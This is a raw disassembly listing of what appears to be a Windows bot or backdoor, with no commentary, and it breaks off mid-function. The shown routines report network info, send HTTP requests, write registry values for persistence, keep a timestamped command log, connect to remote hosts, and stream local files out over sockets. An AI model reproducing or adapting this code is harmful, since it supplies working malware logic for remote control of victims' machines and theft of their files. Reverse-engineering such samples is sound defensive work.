0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43A268 ; InternetGetConnectedStateExA test eax, eax jnz short loc_40ADDA lea eax, [ebp+var_8C] push offset dword_42B844 push eax call sub_4154E7 pop ecx pop ecx loc_40ADDA: ; CODE XREF: sub_40AD85+40j test [ebp+var_C], 1 jz short loc_40ADF2 push offset dword_42B83C loc_40ADE5: ; CODE XREF: sub_40AD85+72j lea eax, [ebp+var_8] push eax call sub_4154E7 pop ecx pop ecx jmp short loc_40AE18 ; --------------------------------------------------------------------------- loc_40ADF2: ; CODE XREF: sub_40AD85+59j push offset dword_42B838 jmp short loc_40ADE5 ; --------------------------------------------------------------------------- loc_40ADF9: ; CODE XREF: sub_40AD85+28j mov esi, offset off_42B834 lea eax, [ebp+var_8] push esi push eax call sub_4154E7 lea eax, [ebp+var_8C] push esi push eax call sub_4154E7 add esp, 10h loc_40AE18: ; CODE XREF: sub_40AD85+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A171 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_415A6A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40AD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE4B proc near ; DATA XREF: sub_40CE55+45F7o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42B988 call sub_415570 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_415570 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_415570 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_415570 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_415570 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_415CF0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43A2A0 ; InternetCrackUrlA test eax, eax jz loc_40AFE5 cmp [ebp+var_34], ebx jbe short loc_40AF22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_416D40 add esp, 0Ch loc_40AF22: ; CODE XREF: sub_40AE4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40AF40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_416D40 add esp, 0Ch loc_40AF40: ; CODE XREF: sub_40AE4B+DEj cmp [ebp+var_20], ebx jbe short loc_40AF5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_416D40 add esp, 0Ch loc_40AF5A: ; CODE XREF: sub_40AE4B+F8j cmp [ebp+var_18], ebx jbe short loc_40AF74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_416D40 add esp, 0Ch loc_40AF74: ; CODE XREF: sub_40AE4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43A348 call dword_43A36C ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40AFFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43A360 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40B004 push ebx push ebx push ebx push ebx push eax call dword_43A314 ; HttpSendRequestA test eax, eax jz short loc_40AFDE push offset dword_42B958 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40AFDE: ; CODE XREF: sub_40AE4B+18Aj push offset unk_42B908 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40AFE5: ; CODE XREF: sub_40AE4B+B7j lea eax, [ebp+var_55C] push offset dword_42B8D8 push eax call sub_4154E7 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40B017 ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: sub_40AE4B+153j push offset unk_42B898 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40B004: ; CODE XREF: sub_40AE4B+17Bj push offset unk_42B854 loc_40B009: ; CODE XREF: sub_40AE4B+191j ; sub_40AE4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4154E7 pop ecx pop ecx loc_40B017: ; CODE XREF: sub_40AE4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40B042 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_412D4C add esp, 14h loc_40B042: ; CODE XREF: sub_40AE4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40B16D pop ecx push esi call dword_43A3CC ; InternetCloseHandle push [ebp+var_4] call dword_43A3CC ; InternetCloseHandle push [ebp+var_1D8] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_40AE4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B075 proc near ; CODE XREF: sub_40CE55+4355p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43E7A8 mov edi, 0B8h loc_40B089: ; CODE XREF: sub_40B075+33j cmp byte ptr [esi], 0 jz short loc_40B0AC push [ebp+arg_0] push esi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40B0AC inc [ebp+var_4] add esi, edi cmp esi, offset dword_43F328 jl short loc_40B089 jmp short loc_40B0EE ; --------------------------------------------------------------------------- loc_40B0AC: ; CODE XREF: sub_40B075+17j ; sub_40B075+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43E7A8[esi] push ebx call sub_415570 push 17h push [ebp+arg_0] push ebx call sub_416D40 push 9Fh lea eax, dword_43E7C0[esi] push [ebp+arg_4] push eax call sub_416D40 add esp, 24h inc dword_42E7A4 pop ebx loc_40B0EE: ; CODE XREF: sub_40B075+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40B075 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0F5 proc near ; CODE XREF: sub_40CE55+5588p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42B998 push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h xor edi, edi mov esi, offset dword_43E7A8 loc_40B11F: ; CODE XREF: sub_40B0F5+72j cmp byte ptr [esi], 0 jz short loc_40B15A lea eax, [esi+18h] push eax push esi push edi push offset dword_42B98C lea eax, [ebp+var_200] push 200h push eax call sub_415A6A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 2Ch loc_40B15A: ; CODE XREF: sub_40B0F5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43F328 jl short loc_40B11F pop edi pop esi leave retn sub_40B0F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B16D proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_42105C ; GetLocalTime mov ebx, offset dword_43E764 mov edi, 80h mov esi, offset dword_43A764 loc_40B18F: ; CODE XREF: sub_40B16D+3Dj cmp byte ptr [ebx], 0 jz short loc_40B1A6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416D40 add esp, 0Ch loc_40B1A6: ; CODE XREF: sub_40B16D+25j sub ebx, edi cmp ebx, esi jge short loc_40B18F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_415A6A add esp, 28h pop edi pop esi pop ebx leave retn sub_40B16D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1E1 proc near ; CODE XREF: sub_407BFE+15Bp ; sub_407D86+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41748F lea eax, [ebp+var_80] push eax call sub_40B16D add esp, 14h leave retn sub_40B1E1 endp ; =============== S U B R O U T I N E ======================================= sub_40B20D proc near ; CODE XREF: sub_40CE55+5482p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43A764 xor ecx, ecx loc_40B214: ; CODE XREF: sub_40B20D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43E764 jl short loc_40B214 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42B9CC jnz short loc_40B244 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_412D4C add esp, 14h loc_40B244: ; CODE XREF: sub_40B20D+1Fj push esi call sub_40B16D pop ecx pop esi retn sub_40B20D endp ; =============== S U B R O U T I N E ======================================= sub_40B24D proc near ; CODE XREF: sub_4033CB+298p arg_0 = dword ptr 4 push esi mov esi, offset dword_43A764 loc_40B253: ; CODE XREF: sub_40B24D+27j cmp byte ptr [esi], 0 jz short loc_40B268 push [esp+4+arg_0] push esi call sub_409B42 pop ecx test eax, eax pop ecx jnz short loc_40B27A loc_40B268: ; CODE XREF: sub_40B24D+9j add esi, 80h cmp esi, offset dword_43E764 jl short loc_40B253 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40B27A: ; CODE XREF: sub_40B24D+19j push 1 pop eax pop esi retn sub_40B24D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B27F proc near ; DATA XREF: sub_40CE55+5532o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40B2D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42BA34 push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B2D2: ; CODE XREF: sub_40B27F+33j cmp [ebp+var_98], 0 jz short loc_40B2F2 lea eax, [ebp+var_98] push eax call sub_415A5F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40B2F2 mov [ebp+var_8], eax loc_40B2F2: ; CODE XREF: sub_40B27F+5Aj ; sub_40B27F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43A764 loc_40B2FB: ; CODE XREF: sub_40B27F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40B355 cmp byte ptr [esi], 0 jz short loc_40B344 cmp [ebp+var_98], 0 jz short loc_40B32A cmp [ebp+var_4], 0 jnz short loc_40B32A lea eax, [ebp+var_98] push eax push esi call sub_409B42 pop ecx test eax, eax pop ecx jz short loc_40B344 loc_40B32A: ; CODE XREF: sub_40B27F+90j ; sub_40B27F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B344: ; CODE XREF: sub_40B27F+87j ; sub_40B27F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43E764 jl short loc_40B2FB loc_40B355: ; CODE XREF: sub_40B27F+82j lea eax, [ebp+var_31C] push offset dword_42BA04 push eax call sub_4154E7 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40B38F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B38F: ; CODE XREF: sub_40B27F+EEj lea eax, [ebp+var_31C] push eax call sub_40B16D push [ebp+var_18] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_40B27F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3AE proc near ; CODE XREF: sub_409E15+1Ep ; sub_40C682+350p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42BA58 xor esi, esi mov ebx, offset dword_42C21C loc_40B3C1: ; CODE XREF: sub_40B3AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43A34C ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40B3FB push [ebp+arg_0] call sub_415CF0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43A3BC ; RegSetValueExA jmp short loc_40B405 ; --------------------------------------------------------------------------- loc_40B3FB: ; CODE XREF: sub_40B3AE+2Fj push ebx push [ebp+var_4] call dword_43A304 ; RegDeleteValueA loc_40B405: ; CODE XREF: sub_40B3AE+4Bj push [ebp+var_4] call dword_43A374 ; RegCloseKey add edi, 8 cmp edi, offset dword_42BA70 jl short loc_40B3C1 pop edi pop esi pop ebx leave retn sub_40B3AE endp ; =============== S U B R O U T I N E ======================================= sub_40B41E proc near ; CODE XREF: sub_40B459+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40B453 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40B437: ; CODE XREF: sub_40B41E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_42125C[eax*4] xor esi, eax inc edx dec edi jnz short loc_40B437 pop edi pop ebx loc_40B453: ; CODE XREF: sub_40B41E+Ej mov eax, esi pop esi not eax retn sub_40B41E endp ; =============== S U B R O U T I N E ======================================= sub_40B459 proc near ; CODE XREF: sub_40BCEF+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415DC9 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_415BE8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40B4A8 loc_40B47E: ; CODE XREF: sub_40B459+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40B4AC inc ebx push ebx push esi call sub_4174DF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40B4A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416BB0 add esp, 10h jmp short loc_40B47E ; --------------------------------------------------------------------------- loc_40B4A8: ; CODE XREF: sub_40B459+23j ; sub_40B459+39j xor eax, eax jmp short loc_40B4C7 ; --------------------------------------------------------------------------- loc_40B4AC: ; CODE XREF: sub_40B459+29j dec ebx push ebx push esi call sub_40B41E push esi mov ebx, eax call sub_415E3D push edi call sub_415B40 add esp, 10h mov eax, ebx loc_40B4C7: ; CODE XREF: sub_40B459+51j pop edi pop esi pop ebx retn sub_40B459 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4CB proc near ; CODE XREF: sub_40B551+33p ; sub_40BAB4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43A418 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40B547 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43A398 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_43A3D8 ; inet_addr cmp eax, esi jnz short loc_40B52C push [ebp+arg_0] call dword_43A41C ; gethostbyname test eax, eax jz short loc_40B547 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40B52C: ; CODE XREF: sub_40B4CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43A340 ; connect cmp eax, esi jnz short loc_40B54B push edi call dword_43A430 ; closesocket loc_40B547: ; CODE XREF: sub_40B4CB+1Bj ; sub_40B4CB+58j mov eax, esi jmp short loc_40B54D ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4CB+73j mov eax, edi loc_40B54D: ; CODE XREF: sub_40B4CB+7Ej pop edi pop esi leave retn sub_40B4CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B551 proc near ; DATA XREF: sub_40CE55+A79o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40B4CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40B5E4 lea eax, [ebp+var_11B4] push offset dword_42BAFC push eax call sub_4154E7 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B5C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B5C7: ; CODE XREF: sub_40B551+59j lea eax, [ebp+var_11B4] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40B5E4: ; CODE XREF: sub_40B551+3Fj push offset byte_438FBC push ebx call sub_40A7FD pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40B64F lea eax, [ebp+var_11B4] push offset dword_42BAB8 push eax call sub_4154E7 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B62B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B62B: ; CODE XREF: sub_40B551+BDj lea eax, [ebp+var_11B4] push eax call sub_40B16D pop ecx push ebx call dword_43A430 ; closesocket push [ebp+var_10] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread loc_40B64F: ; CODE XREF: sub_40B551+A3j push 64h call dword_421060 ; Sleep xor edi, edi mov esi, 1000h loc_40B65E: ; CODE XREF: sub_40B551+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43A3B0 ; recv test eax, eax jle short loc_40B6BB lea eax, [ebp+var_11B4] push offset asc_426CB4 ; "\n" push eax call sub_415C10 lea eax, [ebp+var_11B4] push eax call sub_40A5E9 add esp, 0Ch test eax, eax jz short loc_40B6BB push 64h call dword_421060 ; Sleep push 7 call sub_4151DB test eax, eax pop ecx jnz short loc_40B65E loc_40B6BB: ; CODE XREF: sub_40B551+130j ; sub_40B551+154j lea eax, [ebp+var_11B4] push offset dword_42BA70 push eax call sub_4154E7 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40B6EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B6EE: ; CODE XREF: sub_40B551+180j lea eax, [ebp+var_11B4] push eax call sub_40B16D pop ecx push ebx call dword_43A430 ; closesocket push [ebp+var_10] call sub_4152AF pop ecx push edi call dword_421048 ; ExitThread sub_40B551 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B712 proc near ; DATA XREF: sub_40CE55+46F3o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43A418 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40B760 push offset dword_42BC9C jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B760: ; CODE XREF: sub_40B712+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43A398 ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43A3C4 ; bind test eax, eax jz short loc_40B79E push offset dword_42BC64 jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B79E: ; CODE XREF: sub_40B712+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43A33C ; getsockname push [ebp+var_2E] call dword_43A2D4 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_415CF0 pop ecx loc_40B7D0: ; CODE XREF: sub_40B712+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40B7E3 push 5Fh pop eax jmp short loc_40B7E6 ; --------------------------------------------------------------------------- loc_40B7E3: ; CODE XREF: sub_40B712+CAj movsx eax, al loc_40B7E6: ; CODE XREF: sub_40B712+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_415CF0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40B7D0 push ebx push edi call dword_43A3C0 ; listen test eax, eax jz short loc_40B819 push offset dword_42BAFC jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B819: ; CODE XREF: sub_40B712+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40B843 push offset dword_42BC30 jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B843: ; CODE XREF: sub_40B712+125j push esi push eax call dword_421090 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40A171 pop ecx push eax call dword_43A3D8 ; inet_addr push eax call dword_43A394 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42BC18 push eax call sub_4154E7 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412D4C add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43A380 ; select test eax, eax jg short loc_40B8F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42BBEC push eax push [ebp+var_1FC] call sub_412D4C jmp loc_40BA17 ; --------------------------------------------------------------------------- loc_40B8F3: ; CODE XREF: sub_40B712+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43A42C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40B92C push offset dword_42BBB4 loc_40B919: ; CODE XREF: sub_40B712+49j ; sub_40B712+87j ... lea eax, [ebp+var_3FC] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40BA1A ; --------------------------------------------------------------------------- loc_40B92C: ; CODE XREF: sub_40B712+200j push edi call dword_43A430 ; closesocket cmp [ebp+arg_0], esi jz loc_40B9DE mov edi, 400h loc_40B941: ; CODE XREF: sub_40B712+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40B94E mov [ebp+var_4], eax loc_40B94E: ; CODE XREF: sub_40B712+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_415570 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_4210AC ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_421068 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43A3E8 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43A3B0 ; recv cmp eax, ebx jl loc_40BA73 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40BA73 sub [ebp+arg_0], eax jnz loc_40B941 mov edi, [ebp+var_18] loc_40B9DE: ; CODE XREF: sub_40B712+224j push [ebp+var_8] call dword_42106C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_40C218 pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_3FC] push offset dword_42BB60 push eax call sub_4154E7 loc_40BA17: ; CODE XREF: sub_40B712+1DCj add esp, 14h loc_40BA1A: ; CODE XREF: sub_40B712+215j cmp [ebp+var_50], esi jnz short loc_40BA3F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412D4C add esp, 14h loc_40BA3F: ; CODE XREF: sub_40B712+30Bj lea eax, [ebp+var_3FC] push eax call sub_40B16D cmp edi, esi pop ecx jbe short loc_40BA57 push edi call dword_43A430 ; closesocket loc_40BA57: ; CODE XREF: sub_40B712+33Cj push [ebp+var_1F8] call dword_43A430 ; closesocket push [ebp+var_58] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread loc_40BA73: ; CODE XREF: sub_40B712+2AFj ; sub_40B712+2BAj push esi mov esi, offset dword_42BB34 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_412D4C push esi call sub_40B16D add esp, 18h push [ebp+var_1F8] call dword_43A430 ; closesocket push [ebp+var_58] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread sub_40B712 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAB4 proc near ; DATA XREF: sub_40CE55+7B7o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 